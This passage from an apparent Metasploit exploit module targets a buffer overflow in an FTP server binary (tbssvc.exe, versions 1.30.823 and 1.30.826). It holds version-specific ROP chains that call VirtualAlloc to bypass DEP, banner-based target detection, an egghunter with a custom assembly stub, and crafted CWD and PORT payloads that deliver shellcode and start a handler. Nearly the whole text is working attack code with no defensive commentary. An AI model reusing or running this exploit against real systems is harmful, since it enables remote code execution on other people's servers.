				0x00000040,	# 0x00000040-> ecx
				0x004df1e0,	# POP EDI # RETN [tbssvc.exe]
				0x00411985,	# RETN (ROP NOP) [tbssvc.exe]
				0x00502639,	# POP EAX # RETN [tbssvc.exe]
				0x90909090,	# nop
				0x00468198,	# PUSHAD # RETN [tbssvc.exe]
			].flatten.pack("V*")

		elsif ver == 826
			rop_gadgets =
			[
				0x0050eae4,	# POP ECX # RETN [tbssvc.exe]
				0x005f7074,	# ptr to &VirtualAlloc() [IAT tbssvc.exe]
				0x004aa7aa,	# MOV EDX,DWORD PTR DS:[ECX] # SUB EAX,EDX # RETN [tbssvc.exe]
				0x00496A65,	# XOR EAX,EAX [tbssvc.exe]
				0x004badda,	# ADD EAX,EDX # RETN [tbssvc.exe]
				0x00411867,	# XCHG EAX,ESI # XOR EAX,EAX # POP EBX # RETN [tbssvc.exe]
				0x00000001,	# 0x00000001-> ebx
				0x0058a27a,	# POP EBP # RETN [tbssvc.exe]
				0x004df7dd,	# & call esp [tbssvc.exe]
				0x005f07f6,	# POP EDX # RETN [tbssvc.exe]
				0x00001000,	# 0x00001000-> edx
				0x004adc08,	# POP ECX # RETN [tbssvc.exe]
				0x00000040,	# 0x00000040-> ecx
				0x00465fbe,	# POP EDI # RETN [tbssvc.exe]
				0x004fb207,	# RETN (ROP NOP) [tbssvc.exe]
				0x00465f36,	# POP EAX # RETN [tbssvc.exe]
				0x90909090,	# nop
				0x004687ff,	# PUSHAD # RETN [tbssvc.exe]
			].flatten.pack("V*")
		end
		return rop_gadgets

	end

	def exploit
		my_target = target
		if my_target.name == 'Automatic'
			print_status("Automatically detecting the target")
			connect
			disconnect

			if (banner =~ /1\.30\.823/)
				my_target = targets[1]
			elsif (banner =~ /1\.30\.826/)
				my_target = targets[2]
			end
			if (not my_target)
				print_status("No matching target...quiting")
				return
			end
			target = my_target
		end

		print_status("Selected Target: #{my_target.name}")
		connect_login

		rop_chain = create_rop_chain(target['ver'])
		rop = rop_chain.unpack('C*').join(',')

		eggoptions =
			{
				:checksum => true,
				:eggtag => 'w00t',
				:depmethod => 'virtualalloc',
				:depreg => 'esi'
			}

		badchars = "\x00"
		hunter,egg = generate_egghunter(payload.encoded, badchars, eggoptions)

		speedupasm = "mov edx,eax\n"
		speedupasm << "sub edx,0x1000\n"
		speedupasm << "sub esp,0x1000"
		speedup = Metasm::Shellcode.assemble(Metasm::Ia32.new, speedupasm).encode_string

		fasterhunter = speedup
		fasterhunter << hunter

		print_status("Connecting to target #{target.name} server")

		buf1 = rand_text_alpha(2012)
		buf1 << egg
		buf1 << rand_text_alpha(100)

		buf2 = rand_text_alpha(4).unpack('C*').join(',')
		buf2 << ","
		buf2 << [target['Ret']].pack("V").unpack('C*').join(',') #eip
		buf2 << ","
		buf2 << rop
		buf2 << ","
		buf2 << fasterhunter.unpack('C*').join(',')
		buf2 << ","
		buf2 << rand_text_alpha(90).unpack('C*').join(',')

		send_cmd( ['CWD', buf1], true );
		send_cmd( ['PORT', buf2], true );

		print_status("Egghunter deployed, locating shellcode")

		handler
		disconnect
	end

end